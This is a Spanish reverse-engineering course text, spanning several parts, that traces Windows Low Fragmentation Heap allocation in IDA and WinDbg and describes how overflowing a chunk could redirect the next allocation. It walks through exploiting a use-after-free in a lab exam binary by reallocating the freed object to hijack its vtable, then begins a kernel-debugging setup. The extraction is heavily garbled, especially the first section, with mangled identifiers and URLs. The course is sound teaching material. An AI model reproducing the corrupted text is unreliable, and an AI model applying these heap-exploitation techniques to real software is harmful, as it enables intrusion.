Casualmente en ,d2c9 , empezaban esos chunks anternal %FH, esto indica la posicinn del
%DW FO MENT TaDN HE P que es el FODNTENU HE P, mientras que el heap estándar es
llamado B CKENU HE P.
quí se ve claramente que el %FH es un heap dentro del otro heap, empieza ali tal cual fuera
un chunk mas del heap principal, pero dentro tene otro heap.

igamos adelante.

Para ver el contenido del %FH apuntado por FrontEndHeap se usa

dt _%FH_HE P direccinn

Ya queda poco paciencia jeje.

Como curiosidad vayamos apuntando que el o set ,d 8 ubsegmentZones tene un puntero


al tercer bloque aNTEON % %FH.

hí dentro del %FH hay un par de estructuras mas que son importantes una es
_HE P_%DC %_U T que esta en el o set ,d3 ,, cuyo contenido de puede ver con

dt _HE P_%DC %_U T


Vemos que egmentanfo es una lista de 28 de largo veamos que hay ahí, en el mismo
windbg clickeando en egmentanfo, nos muestra la lista, sino con

dt _HE P_%DC %_ E MENT_aNFD

y pasando el mouse por encima de los números [,], [ ], etc nos muestra la direccinn.

Ese seria el primer %ocal egment anfo, podemos ver que signi ca su contenido haciendo
click por ejemplo en el [,]
Vemos que hay una lista llamada Cachedatems en el o set ,d8 igual podemos hacer click allí,
en mi caso en el primer egmentanfo empezara en ,d2ca2e8.

Vemos que cada uno es un _HE P_ CB E MENT.

Para ver el contenido de uno hay que usar

dt _HE P_ CB E MENT direccinn

Y despues de todo esto llegamos a donde queremos dentro de ggregateEdch que esta en el
o set ,d8 esta _aNTEO%DCK_ E eso se puede mostrar con

dt _aNTEO%DCK_ E direccinn
Tambi n haciendo click en el windbg

Bueno el tema era llegar hasta FreeEntryD set en este caso es cero, anotemos bien como
llegar hasta aquí, si vemos la de nicinn de este valor.

FreeEntryOfset – This 2-byte integer holds a value, when added to the address of the
_HEAP_USERDATA_HEADER, results in a pointer to the nedt locaton for freeing or allocatng
memory.

D se que depende de este valor cual sera el siguiente bloque que allocara o liberara, se le
suma a otro que es _HE P_C EOU T _HE UEO, veamos donde esta ese.

Ese se llega de la misma tabla anterior solo que esta en el o set ,d4 CserBlocks

Y se dumpea con

Bueno vamos obteniendo los valores para armar el rompecabezas, vemos que CserBlocks
esta justo arriba de _aNTEO%DCK_ E que es el que tene el puntero a FreeEntryD set con lo
que overfodeando la data de un chunk se podría pisar el mismo y alterar el prndimo chunk
que te de para allocar, aquí vemos en la imagen un poco mas claro.

li en la imagen se ve mas claro se ve el header _HE P_C EO_U T que habíamos visto,
justo debajo viene la zona escribible por el usuario, y justo debajo esta la estructura
_aNTEO%DCK_ E que es la que tene el valor que decide cual es el siguiente que te va a dar
si allocas el mismo size.

Con esto tenemos una vista de las tablas principales y sus valores en la o cina parte veremos
si nos ayuda para estudiar como decide alocar en el heap estándar o en el %FH.

Hasta la parte 48

Oicardo
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 48
Trataremos de seguir una allocacion a ver si podemos entender la lógica de la misma y ver
como dice si alloca en el LFH o en el HEAP ESTANDAR.

Seguiremos usando el ejecutable de la misma practca.

Arrancamos el ejecutable fuera de IDA desde una consola, sin usar el script de Python

Ingresamos el numero que nos pide 1073741828 a mano, atacheamos el IDA con WINDBG
como debugger, ponemos un breakpoint en el malloc y apretamos ENTER.
Si traceamos entrando en el malloc con f7 vemos que el size lo pasa a ESI, lo compara si es
mas grande que 0xFFFFFFE0 como en nuestro caso es 0x10 no hay problema, lo pushea
como argumento y ahí mismo vemos que pushea en mi caso 0x240000 que era uno de los
heaps asi que ya sabemos que va a trabajar con ese.
Ahí llegamos a podemos crear la función con click derecho - Create functon y renombrar los
argumentos que eran el size, un cero y la base del heap.

Aca esta la estructura del heap listada para poder copiar y pegar.

# +0x000 Entry : _HEAP_ENTRY

# +0x008 SegmentSignature : Uint4B

# +0x00c SegmentFlags : Uint4B

# +0x010 SegmentListEntry : _LIST_ENTRY

# +0x018 Heap : Ptr32 _HEAP

# +0x01c BaseAddress : Ptr32 Void

# +0x020 NumberOfPages : Uint4B

# +0x024 FirstEntry : Ptr32 _HEAP_ENTRY

# +0x028 LastValidEntry : Ptr32 _HEAP_ENTRY

# +0x02c NumberOfUnCommi edPages : Uint4B

# +0x030 NumberOfUnCommi edRanges : Uint4B

# +0x034 SegmentAllocatorBackTraceIndex : Uint2B


# +0x036 Reserved : Uint2B

# +0x038 UCRSegmentList : _LIST_ENTRY

# +0x040 Flags : Uint4B

# +0x044 ForceFlags : Uint4B

# +0x048 CompatbilityFlags : Uint4B

# +0x04c EncodeFlagMask : Uint4B

# +0x050 Encoding : _HEAP_ENTRY

# +0x058 PointerKey : Uint4B

# +0x05c Interceptor : Uint4B

# +0x060 VirtualMemoryThreshold : Uint4B

# +0x064 Signature : Uint4B

# +0x068 SegmentReserve : Uint4B

# +0x06c SegmentCommit : Uint4B

# +0x070 DeCommitFreeBlockThreshold : Uint4B

# +0x074 DeCommitTotalFreeThreshold : Uint4B

# +0x078 TotalFreeSize : Uint4B

# +0x07c MaximumAllocatonSize : Uint4B

# +0x080 ProcessHeapsListIndex : Uint2B

# +0x082 HeaderValidateLength : Uint2B

# +0x084 HeaderValidateCopy : Ptr32 Void

# +0x088 NextAvailableTagIndex : Uint2B

# +0x08a MaximumTagIndex : Uint2B

# +0x08c TagEntries : Ptr32 _HEAP_TAG_ENTRY

# +0x090 UCRList : _LIST_ENTRY

# +0x098 AlignRound : Uint4B

# +0x09c AlignMask : Uint4B

# +0x0a0 VirtualAllocdBlocks : _LIST_ENTRY

# +0x0a8 SegmentList : _LIST_ENTRY

# +0x0b0 AllocatorBackTraceIndex : Uint2B

# +0x0b4 NonDedicatedListLength : Uint4B


# +0x0b8 BlocksIndex : Ptr32 Void

# +0x0bc UCRIndex : Ptr32 Void

# +0x0c0 PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY

# +0x0c4 FreeLists : _LIST_ENTRY

# +0x0cc LockVariable : Ptr32 _HEAP_LOCK

# +0x0d0 CommitRoutne : Ptr32 long

# +0x0d4 FrontEndHeap : Ptr32 Void

# +0x0d8 FrontHeapLockCount : Uint2B

# +0x0da FrontEndHeapType : UChar

# +0x0dc Counters : _HEAP_COUNTERS

# +0x130 TuningParameters : _HEAP_TUNING_PARAMETERS

No vamos a hacer las estructuras en IDA con todos los campos, solo crearemos una
estructura vacía para renombrar solo los campos que usemos.

Ahí la cree en la pestaña estructuras con INSERTAR y luego la agrandare a 0x130 despues
veré si necesito agrandarla mas.
Ya sabiamos como hacer esto le agrego un campo de un byte colocándome en el ends y
apretando la tecla D y luego click derecho EXPAND y le agrego 0x12f.

Allí quedo de 0x130 seguro sera un poco mas grande por el largo del ultmo campo, pero ya
veré.
Allí usa el campo 44 y abajo el 5c apretando T en ambos elijo la estructura HEAP.

Ahora tengo que defnir esos campos en la estructura.

# +0x044 ForceFlags : Uint4B

# +0x048 CompatbilityFlags : Uint4B

# +0x04c EncodeFlagMask : Uint4B

# +0x050 Encoding : _HEAP_ENTRY

# +0x058 PointerKey : Uint4B

# +0x05c Interceptor : Uint4B

Son dos campos de 4 bytes, los renombrare, voy a 0x44 y apreto la D hasta que cambia a DD.
Y los renombro.

Bueno no tenemos ni idea de para que sirve pero al menos quedo lindo jeje

Obviamente no todos los campos ni todo lo que hace lo interpretaremos pero iremos viendo
que hace.
Una vez que traceamos hasta allí y EBX tomo el valor de la base del heap 240000 en mi caso
puedo ir ahí y asignarle a esa dirección la estructura heap que aunque por ahora esta vacía
algo tene jeje.

Con ALT mas Q o Convert to struct variable del menú.


No queda muy lindo, pero ahí se ven los campos ForceFlags e Interceptor ambos a cero.

Coincide con
Y con
Copie el ejecutable a otra carpeta sin cerrar el anterior para comprobar y lo abrí directo en
un segundo IDA no atacheando, sino directamente dentro del mismo y ese valor cambia a
0x40000060, es un valor que indica si esta siendo debuggeado.

En el que se atacheo

En el que abrí en el debugger.

Allí dice que entre otras cosas se puede usar como antdebugger.
Vemos que el argumento que era cero lo reusa haciendo OR con ForceFlags, de esta forma
como era cero quedara valiendo ForceFlags.

Y ECX que tenia Interceptor lo guarda en var_C por eso la renombro, aunque no encontré
detalle de para que sirve ya veremos, lo que si vi que no varia si esta siendo debuggeando o
no vale 0 en ambos casos.

Como Interceptor en mi caso vale cero y ESI vale cero, salta por la echa roja ya que son
iguales.

Allí hace test de ForceFlags que es cero contra la constante 7d810f61 el resultado sera cero y
ira por la echa roja.(si se abrió en un debugger ira por la echa verde)

Compara si el size es cero en nuestro caso es 0x10 asi que va por acá.
Le suma 0xf y luego hace AND con -8 con lo cual queda 0x18 que seria el size completo a
alocar sumandole el header y para que sea múltplo de 8.

Queda en EAX el size full a 18.

Luego guarda en var_8 ese size asi que lo renombro.


Luego lee el campo 0xb8 que era BlockIndex, asi que lo renombro en la estructura y aqui
apreto T para que lo tome.

# +0x0b8 BlocksIndex : Ptr32 Void

Asi que ese valor es un puntero que vale 0x240150 en mi caso.


Recordemos que

shr eax, 3 ;Signed division by 8

Y eso es lo que hace divide el size_full por 8, recordemos también que el size que fguraba en
los encabezados como size total había que multplicarlo por 8 para hallar el total del size del
bloque.

Por ejemplo copiado de otro tute anterior un UserSize de 0x10, terminaba siendo un size
total de 0x3 al que multplicándolo por 8 daba el total de bytes.

Python>hex(0x3*0x8)
0x18

Acá es la operación inversa del size full halla ese 0x3 al dividir por 0x8.

Vemos que ahora empieza a trabajar con la estructura BlocksIndex que habíamos visto en el
tutorial pasado. (la imagen siguiente es del tutorial anterior)
Asi que podemos crear una estructura vacía nueva de 0x24 bytes asi entra el ultmo dword.

Asi que ahora apreto T en la instrucción y elijo esta nueva estructura.


Ahora me queda renombrar el campo ese que esta en 0x4 era ArraySize.

Como EAX apuntaba al inicio de esta estructura puedo ir ali en la memoria y asignarle la
misma con ALT mas Q.

Vemos que el ArraySize es 0x80 en este caso, el resto de los campos esta sin defnir aun, por
eso se ve feo.

Vemos que como es menor no pasa por los bloques rosados

Vemos que estamos en esta parte


Aquí el size full dividido 8 lo llama BlockSize, nosotros aun lo tenemos en ECX y no se guardo
solo se comparo, y vemos que allí también lo hace, compara contra el ArraySize igual que el
nuestro.

Vemos que le resta 1 quedando 0x7f y lo vuelve a comparar con 0x3 que esta en ECX.

Como sigue siendo menor no va por los bloques rosados.

Ahora lee el campo 0x14 de BlockList que era BaseIndex asi que lo renombro.
Como BaseIndex es cero ECX sigue siendo 0x3 o sea el BlockSize.

Como el campo ExtraItem que esta en 0x8 o set vale 1 (no repetré como renombrarlo en la
estructura) llegamos al ADD ECX, ECX donde multplica por 2 el valor del BlockSize.
Luego usa el o set 0x20 ListHints.

Al 0x6 lo multplica por 4 y le suma al puntero ListHints queda en ESI 0x24019c


ListHints apunta a las Freelist que es otro tpo de allocacion mas sencilla ya veremos por
ahora veamos que hace.

Asi que podemos crear una nueva estructura de 8 bytes, pero en mi IDA ya la tenia (si no la
crean)
O sea si LFH no esta habilitado, el Blink tene un contador y si esta habilitado tene un
puntero. (HEAP_BUCKET+1)

Bueno ya veremos la cuestón es que compara si Al es 1 para ver si es un contador que esta
en 1.

Si es 1 va a ese bloque verde con una llamada a RtlpAllocateHeap y si no como en mi caso va


al bloque celeste que va a RtlpLowFragHeapAllocFromContext.

O sea que ciertas cosas vamos viendo en nuestro caso comparo el size 0x3 contra 0x80 y
como era menor y el AL del Blink era diferente del byte 0x1 llegamos por acá a algo que
parece que maneja el LFH.
ECX tene el puntero que había en BLINK-1 y en EDX esta el UserSize 0x10.

Ya que en la función no mostraba las variables y eran basadas en EBP (eran variables ebp -
x), lo cambie poniendo la tlde ahí.

Recordemos que el Blink tenia el valor HEAP_BUCKET+1 o sea que restandole 1 quedaría
(HEAP_BUCKET) asi que renombro la variable a HEAP_BUCKET.
O sea que EDI es la base de la estructura HEAP_BUCKET la creare, parece tener 0x3 bytes.

Bueno el SizeIndex es 2 lo mueve a EAX


lea eax, ds:110h[eax*4]

Multplica el 0x2 por 4 y le suma 0x110 y luego se lo resta al Heap_Bucket hallado y lo


guarda en var_2c.

Esa direccion que guarda en var_2c es el incio de la tabla LFH, ya que Heap_Bucket esta en
0x110 y el 8 debe ser porque esta dentro de la tabla de los Buckets, de esta forma en var_2c
guarda el valor 0x24acf8 que era el inicio de la tabla LFH.
Lo que esta haciendo es lo que dice allí, tratando de hallar la dirección del LFH para este
bucket, usando el SizeIndex.
Obviamente estamos en esa parte solo que en mi caso no es igual a uno y sigue por aquí.

Vemos que llega al LEA donde por ahora EAX vale cero ya que viene de una multplicación de
0x3418 con const_cero y suma ESI que era el inicio de la tabla LFH y le suma 0x310.
Recordemos que desde LFH el o set 0x310 es _HEAP_LOCAL_DATA.

Esa cuenta la guarda en var_44 renombro HEAP_LOCAL_DATA.


La idea es que esta tratando de localizar esas estructuras ya veremos si podemos localizar e
identfcarlas.

Bueno tenemos que hacer una estructura para HEAP_LOCAL_DATA.

Creo una estructura de 0x22 aunque seguro sera mucho mas por ahora servirá.

Vemos que a partr del o set 0x18 están las estructuras hay 0x128 de ellas

[128] _HEAP_LOCAL_SEGMENT_INFO

Vemos que esta pivoteando a través de esas 128 estructuras usando SizeIndex como indice
al cual lo multplica por 0x68 y luego se lo suma para hallar la dirección de ese SegmentInfo.

Quiere decir que la direccion3 es HEAP_LOCAL_SEGMENT_INFO.


Asi que haremos una estructura mas de 0x64.
Bueno dentro de

ntdll!_HEAP_LOCAL_SEGMENT_INFO
+0x000 Hint : Ptr32 _HEAP_SUBSEGMENT

El primer campo que intenta usar allí lo dice es el Hint y ese es el que levanta aquí.

Y lo guarda en var_30 renombro a Hint.


Si el valor de Hint fuera cero intenta acá, buscando en ActveSubsegment que es el siguiente
campo.

Y si ese es cero intenta aquí

Vemos que en cualquiera de los tres casos guarda el resultado en la variable que
nombramos Hint pero que puede ser cualquiera de los tres.

Bueno estábamos aquí


Renombramos Hint como resultado ya que puede ser cualquiera de los tres.

Allí vemos que muestra las tres posibilidades por ahora estamos en Hint.

Ese resultado debería ser _HEAP_SUBSEGMENT.


Allí me dice que _HEAP_LOCAL_SEGMENT_INFO esta en 0x24b0f0 y que 0x282660
_HEAP_USERDATA_HEADER y en 0x08 esta INTERLOCK_SEQ.

Ya estamos llegando uf.

Allí agregue la estructura


Allí veo que halla con LEA la dirección de _INTERLOCK_SEQ

Por ahora la creo de 4 bytes

Vemos que puede leer el campo cero como word o como dword, se complica para el
nombre, en mi caso lee el DWORD o sea el valor 0x56000d (ESTE VALOR ES MUY
IMPORTANTE)
Agrego el campo Sequence
Testea DI que tene Depth que es 0d en mi caso.

Allí lee UserBlocks que es el o set 0x4 de HEAP_SUBSEGMENT.


Compara el EDX que tenia el LocalInfo calculado con el puntero de
HEAP_SUBSEGMENT.localinfo y deberían ser iguales.

Como son iguales va a este bloque


Bueno no me voy a poner a hacer todas esas cuentas pero es obvio que lo que hace es sacar
el primer bloque libre de el size pedido a partr de los valores de la estructura
_INTERLOCK_SEQ, y cuando sale de ese bloque lo guarda aquí.

ECX vale allí 282918 que si miro la lista de bloques de size 0x10.

!heap -flt s 0x10

En la lista esta

Y es el primero de este LFH porque los anteriores de size 0x10 que dicen free, son de otro
LFH de dirección menor posiblemente correspondientes al otro heap.
Vemos que allí a la dirección del chunk 0x282918 sin el header, le resta 8, y queda la
dirección del bloque completa con header 0x282910.

La estructura que no agregamos fue la de LFH, lo hare.


Ahora usa el campo 0x24 que es hallar la dirección base del HEAP 0x240000 que la mueve a
ESI.

BlockUnits era 0x3 en el SHL EAX, 3 es similar a multplicar por 8 asi que

A eso le resta el Usersize

Y a ese valor lo compara contra 0x3f como es menor vamos a.


Allí esta escribiendo en el header del chunk LFH, no hicimos la estructura.

Pisa el byte 7 lo cambia de 0x80 a 0x88


Vemos que ahora marca como que esta ocupado, si vemos el siguiente libre de 282928.

Vemos que los libres están con el valor 0x80 y los ocupados con el valor 0x88.

La cuestón es que el valor que esta en INTERLOCK_SEQ y que decide cual es el próximo
bloque a entregar esta en 0x282a78 (0x8 a partr del inicio de la estructura
HEAP_SUBSEGMENT)
Antes valía

Y ahora vale

Vemos que la distancia desde el inicio del chunk que puedo escribir, al que decide cual es el
próximo que me va a entregar es solo 0x168 y es un bloque de 0x10 que si se over odea se
puede llegar a pisar.

Lo que decíamos en el tute anterior se verifca aqui.


A ese valor UserBlocks 0x282660 que lo mueve a ESI y apunta a la estructura
HEAP_USER_DATA_HEADER, se le suma aquí EAX que sale luego de varias cuentas del EDI
que viene de aquí.

Quiere decir que la próxima vez que se pida un size 0x010, moverá a EDI el valor 0x59000c si
es que no esta pisado.

Lo mueve a EAX y luego SHR EAX,0d

Equivalent to dividing by 2 la 0d =08192 decimal o sea 0x2000 hexa

O sea que es equivalente a 0x59000c dividido 0x2000 que da 0x2c8


A eso el hace AND 0x7FFF8

Queda igual luego lo suma a ESI que vale 0x282660

Y me da 0x282928 que es el siguiente libre

Quiere decir que si hay un over ow podemos alterar esta cuenta pisando el valor dentro del
INTERLOCK_SEQ y que me de un bloque anterior, eso lo probaremos en la siguiente parte.

Hasta la siguiente

Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 49.

USE AFTER FREE

Hemos visto a lo largo de este curso, la base del uso de IDA para realizar reversing estátco,
unpacking, exploitng, aun quedan varios temas mas para abarcar, pero dentro de la rama del
exploitng nos queda una de las formas de explotación mas difciles y que asusta a mucha gente
veremos los USE AFTER FREE.

Hemos visto el tema de bu er over ows en forma bastante completa, como explotar y desbordar
bu ers en el stack y en el heap, en varios ejercicios y vddeos que hemos subido a youtube.

Para tratar de entender los use a er free, usaremos el EXAMEN 20 como ejemplo pues realmente se
puede explotar solamente como USE AFTER FREE, no hay over ow en ninguna parte del código y los
bu ers están correctos siempre, si ese es el caso, como se puede explotar y desviar la ejecuciónc

Para poder entender necesitaran bajarse primero el código fuente del examen 20

h ps://drive.google.com/ le/d/013TT00I0fO220DRf TlvT3ooNnc/viewcuspssharing

El ejecutable que esta zipeado y tene password a

h ps://drive.google.com/ le/d/013TT00I0fO22N3gt 0Nian pNnM/viewcuspssharing

Y los sdmbolos

h ps://drive.google.com/ le/d/013TT00I0fO22cTRRUUpoTFoMaEE/viewcuspssharing

Deberdan renombrarlos con el mismo nombre del ejecutable con extensión pdb o cuando IDA les dice
que no los encuentra buscarlos y decirle donde están para que los cargue.
Vemos en el código fuente una clase llamada Empleados, su constructor Empleados::Empleados y los
metodos virtuales que hablando mal y pronto, serian las funciones que utlizaran las instancias de esta
clase.

Hasta acá todo bien veamos las instancias en el main.


Vemos dos instancias una llamada pepe y otra jose de dicha clase Empleados, la misma en este caso
se efectúa usando la función new(), que es bastante similar a malloc pero para mas orientada a crear
en este caso dichas instancias, reservando la memoria necesaria en el heap. (recordamos que cuando
traceabamos la función new() dentro terminábamos en malloc ).
Ahd vemos en el ejecutable los dos llamados a new() para crear ambas instancias pepe y jose.

Y si miramos dentro del new vemos que llama a malloc con el size que esta alld como argumento, en
este caso 436 decimal o 0x3A0 que es el size que necesita cada instancia.
Sabemos que a bajo nivel la instancia es como una variable de tpo estructura y debe tener lugar para
guardar todas los atributos de la clase, que son equivalentes a los campos de la estructura, vemos un
int para salario actual, y en la parte publica un bu er de 200 bytes decimal llamado cadena, otro
llamado name y vemos también la declaración de los metodos virtuales.

Normalmente dentro del constructor, en el primer lugar de el espacio reservado para cada instancia
se guarda un puntero a una tablita llamaba vtable las direcciones a los metodos virtuales y en cada
instancia habrá un puntero a dicha tablita o vtable.

En el ejercicio 39 anterior que era también de clases, a pesar de que no habda new porque la instancia
era una variable en el stack y no en el heap, se veda claramente el constructor.

Y como dentro del mismo en el primer dword guardaba el puntero a la vtable.


ue apuntaba a los metodos virtuales, ahora en este ejemplo no se ve el constructor en el IDA si
existera, como tenemos los sdmbolos deberda llamarse Empleados::Empleados y no existe ese
método.

1ueno lo que pasa es que el compilador como vio que el constructor es muy pequeño y hace casi nada
al optmizar, elimino dicho método y lo reemplazo por las instrucciones que contene.

El constructor solo pone a cero ese atributo y ademas debe setear la vtable justo despues del new
que crea la instancia , veamos en el IDA.
Alld hace ambas cosas, pone a cero dicho atributo y setea la vtable para su uso posterior.

Asi que guarda en el primer lugar de la memoria reservada de cada instancia, un puntero a esa tablita
o vtable.

Antes de reversear el examen completo, que lo veremos en el vddeo correspondiente, veamos como
es el mecanismo de la vulnerabilidad USE AFTER FREE y como se explotarda.

Vemos que dentro del programa, según se den ciertas condiciones, se borra mediante delete() que es
equivalente a free(), la instancia de pepe o la de jose.
Vemos que despues de dejar de existr alguna de dichas instancias a algún genio se le ocurre pedir los
sueldos de todos los Empleados para sacar el gasto total y para eso usa el método virtual get_Salario
aplicado a cada instancia.

Pongamosle que pepe sea la instancia que se borro, al intentar llamar a get_salario, buscara en su
bloque que ha sido liberado (free) y tratara de usar el puntero a la vtable que se encontraba alld
dentro y intentara saltar al método get_Salario, pero como el bloque esta liberado, es posible que el
programa al contnuar corriendo, alloque alld mismo si se le pide y pise el puntero a la vtable.

Alld abajo vemos las llamadas a get_Salario, cada instancia buscara dentro en su primer lugar su
puntero a la vtable y tratara de saltar a dicho método, pero la explotación consiste en tratar de ver
cual es el size del objeto que se borro y allocar ese mismo size y llenar con nuestra fruta el bloque que
antes ocupaba la instancia pepe, y ahora se llenara de nuestra fruta, de esa forma al saltar a
get_Salario ya que pisamos su puntero a la vtable, redirigiremos la ejecución donde queramos.
Lo veremos ejecutando a mano sin realizar un script.

Corro el examen en IDA pongo breakpoints en los new().

Estoy usando 0indows 7 que por ahora me asegura que con un solo malloc puedo pisar el bloque
fritado ya veremos como hacer en w30.

Alld estoy parado le pido 436 bytes paso el new con fO.

En mi caso me da un bloque que empieza en 0x65b530


Vemos que en el primer dword guarda el puntero a la vtable, E1X apunta alld donde guardara.

Alld esta la vtable pero recordemos que en la memoria alocada hay un puntero a aqud.

Sigamos al otro new()

La segunda instancia jose se ubicara en mi caso en 0x65e000 y abajo se guardara alld su puntero a la
vtable.
Por supuesto este puntero esta en la segunda instancia, pero apunta a la misma vtable que el de la
primera.

Sigamos

Luego hay una parte que dice que ingresemos el curriculum de los empleados y hay un fgets.

Podemos poner un breakpoint mas abajo en el delete y dar run.


Tipeo algo corto

Cuando apreto ENTER llega al delete()

El argumento del delete es la dirección de la instancia a borrar.

Vemos que borrara la de 0x65b530 que era la primera o sea la de pepe.

Si traceo dentro del delete veo que llega a free a liberar la memoria en 0x65b530.
Luego me dice que ingrese el largo del curriculum

Y ese valor sera el que use para allocar y alld copiara, para explotar el use a er free deberda pasarle el
mismo size de las instancias borradas o sea 436 decimal.

Si pongo un breakpoint en el malloc y doy run le tpeo ese size 436


Al apretar enter llego al malloc

Veo que va a hacer malloc de 436 si me devuelve la misma dirección de memoria que frito voy bien
sino me reventó jeje.

Vemos que me allocó en la misma dirección jeje, ahora solo debo copiar mi fruta alld, la misma se
ingresa con el fgets doy run poniendo un breakpoint en el prin .
Tipeo mi fruta y al dar ENTER.

Vemos que trata de buscar el puntero a la vtable de pepe en 0x65b530 y alld yo llene con mis Aes.
Alld vemos entonces como se desvda la ejecución de código, controlada por la fruta que ingrese.

Este obviamente es un ejemplo sencillo en un programa complejo la cosa es mas difcil de realizar
pero la idea es esta, es importante tener claro el concepto de como se explota.

Lo veremos profundamente reverseado, en el vddeo de youtube correspondiente.

Hasta la parte 50
Ricardo Narvaja
TRABAJANDO CON EL KERNEL DE WINDOWS.
La idea de este tutorial es armar un poco el escenario para reversear y debuggear kernel, no creo que
sea muy importante hacer una introducción muy extensa con lo que es el kernel, hay miles de
tutoriales para ello, pero como idea principal copio estas defniciones.

El Kernel o Núcleo es un componente fundamental de cualquier


sistema operativo. Es el encargado de que el software y el hardware de
cualquier ordenador puedan trabajar juntos en un mismo sistema, para lo
cual administra la memoria de los programas y procesos ejecutados, el
tiempo de procesador que utilizan los programas, o se encarga de permitir
el acceso y el correcto funcionamiento de periféricos y otros elementos
físicos del equipo.

Vemos que en modo user están las aplicaciones, las apis de Windows, los drivers que se manejen en
user, mientras que en modo kernel esta el sistema operatvo en si, el hardware, y los drivers que
trabajan en modo kernel.

Cuando ejecutas una aplicación, esta accede al modo usuario, donde


Windows crea un proceso específco para la aplicación. Cada aplicación
tiene su dirección virtual privada, ninguna puede alterar los datos que
pertenecen a otra y tampoco acceder al espacio virtual del propio sistema
operativo. Es por lo tanto el modo que menos privilegios otorga,
incluso el acceso al hardware está limitado, y para pedir los servicios del
sistema las aplicaciones tienen que recurrir a la API de Windows.

El modo núcleo o kernel en cambio es ese en el que el código que se


ejecuta en él tiene acceso directo a todo el hardware y toda la
memoria del equipo. Aquí todo el código comparte un mismo espacio
virtual, y puede incluso acceder a los espacios de dirección de todos los
procesos del modo usuario. Esto es peligroso, ya que si un driver en el
modo kernel toca lo que no debe podría afectar al funcionamiento de todo
el sistema operativo.

Este modo núcleo está formado por servicios executive, como el


controlador de caché, el gestor de comunicación, gestor de E/S, las
llamadas de procedimientos locales, o los gestores de energía y
memoria entre otros. Estos a su vez están formados por varios módulos
que realizan tareas específcas, controladores de núcleo, un núcleo y una
Capa de Abstracción del Hardware o HAL

Seguimos copiando un poco de defniciones ahora la de memoria virtual

La memoria virtual es una técnica utilizada por los sistemas operativos para acceder a una
mayor cantidad de memoria de la físicamente disponible, recurriendo a soluciones de
almacenamiento alternativas cuando se agota la memoria RAM instalada.
Los ordenadores utilizan la memoria RAM para almacenar los archivos y datos que necesitan
tanto el sistema operativo como el software que estemos ejecutando; su elevado rendimiento
garantiza un funcionamiento óptimo pero, tarde o temprano, siempre termina por llenarse.
Es en ese momento cuando Windows necesita recurrir a la memoria virtual.
Para crear la memoria virtual Windows crea un archivo en la unidad de almacenamiento que
tengamos asignada, sea un disco duro tradicional o un SSD; el sistema operativo genera un
archivo llamado pagefle.sys (podéis encontrarlo oculto en el directorio raíz de vuestro
sistema) donde va almacenando los datos que no caben en la memoria RAM pero que son
necesarios para el funcionamiento del PC.

Así, cuando trabajamos con aplicaciones muy exigentes (como los videojuegos, sin ir más
lejos) o tenemos varias funcionando al mismo tiempo podéis notar como el sistema se
ralentiza, especialmente si no vais sobrados de RAM. Es el ese momento cuando Windows
está recurriendo al archivo de paginación y la memoria RAM se ha visto desbordada; se evitan
los cuelgues y la inestabilidad, pero a cambio el rendimiento desciende considerablemente.
Llegados a este punto, es fácil concluir que cuanta más RAM tengamos en el equipo
mucho mejor y notaremos más la diferencia cuanto más exigente sea el software que
utilizamos. Aunque su precio ha bajado espectacularmente en los últimos años sigue siendo
elevado, así que en la mayoría de escenarios es necesario recurrir a soluciones de memoria
virtual.
Allí vemos el virtual address space de cada proceso que va desde 0x0 hasta 0xFFFFFFFF y que el
sistema operatvo se vale para manejarlo de la ram y el swap como vimos antes.
Y el virtual address space de 32 bits de cada proceso esta dividido , como vemos en la imagen desde
0x0 hasta 0x7fff la parte de espacio user donde se alojan los programas y de 0x7fff hasta
0xffff el espacio de kernel.

Bueno dejemos de robar de Internet y preparemos el escenario, obviamente no podemos debuggear


kernel con un debugger tpo OLLYDBG o IDA en modo user, porque no puede acceder al igual que
cualquier programa en modo user, a la parte del kernel, asi que menos que menos podría
debuggearla.

Tendremos que preparar un target donde debuggear kernel en mi caso yo uso VMWARE
WORKSTATION y allí tengo mi target de WINDOWS 7 sp1 de 32 bits, sin ningún update para empezar.

Los que usen targets mas actualizados podrán encontrarse que algunas cosas no les van a uncionar
porque ueron parcheadas, pero como nosotros vamos a empezar desde el inicio es mejor ver lo mas
sencillo e ir avanzando de a poco.

Una vez que armemos el entorno es probable que sigamos con VIDEO TUTES por lo cual es bueno
preparar todo bien para contnuar con ellos.

Mi maquina principal en este caso es un WINSOWS 7 Sp1 de 64 bits, con todos los parches hasta el día
de hoy, aunque podrían utlizar otro sistema, quizás alguna que otra cosa no les uncione
exactamente igual pero se puede.

En mi maquina principal usare IDA 6.8 y antes que griten que ya salio el IDA 7 leakeado, el mismo
tene un bug, que al tratar de conectar para debuggear kernel de 32 bits crashea, como en mi trabajo
me lo compran al ida ofcial, a mi me mandaron un parche que soluciona ese bug pero obviamente no
lo puedo distribuir, por ahí alguien se pone y se fja donde crashea y como se puede evitar eso y logra
un parche valido para IDA 7, pero por ahora usaremos el 6.8 aquí.

Por supuesto también tenen que tener instalado WINDBG en la maquina principal y los símbolos
confgurados, y fjarse que en dicha carpeta de símbolos al usarlo se vayan bajando los mismos, en mi
caso la carpeta se llama symbols.

Ya que en mis environment variables esta la variable _NT_SYMBOL_PATH


Cuyo valor es

SRV*c:\symbols*h p://msdl.microso .com/download/symbols

Y hace que se pueda bajar los símbolos del server de microso , obvio hay que hacer que se pueda
conectar a través de frewalls, proxy o lo que sea para que pueda acceder al repositorio de símbolos.

Lo siguiente es opcional yo tengo en mi maquina principal o sea en este con Windows 7, instalado el
viejo WDK 7.1.0

h ps://www.microso .com/enuus/download/details.aspxiid111800

Pero en la otra maquina que tengo con Windows 10 para tratar de hacer lo mismo con lo ultmo
tengo instalado Visual Studio 2015 con el WDK 10 ya que por ahora el Visual Studio 2017 no permite
usar WDK.

Tengo ambas opciones para hacerlo por ambos metodos compilando un driver de la orma antgua a
mano en un editor de texto (a lo guapo jeje) y a la moderna y ver si puede uncionar y ver las
di erencias.

Para probar los drivers hay que ir a

h p://www.osronline.com/artcle.c miartcle1157

Registrarse y bajarse el OSR DRIVER LOADER que nos ayudara a cargarlo ácil y probar nuestro driver.

Bajarse el DEBUG VIEW de microso

h ps://docs.microso .com/enuus/sysinternals/downloads/debugview.

Y una vez que tenemos todo eso bajamos el virtual KD

h p://virtualkd.sysprogs.org/download/

En este momento la ultma versión es la 3, si sale una mas nuevo, pues adelante.
Una vez autoextraido

Vemos que hay una carpeta target que es la que se debe copiar en el target, el resto es para la
maquina principal.

Una vez copiado la carpeta target en el mismo.


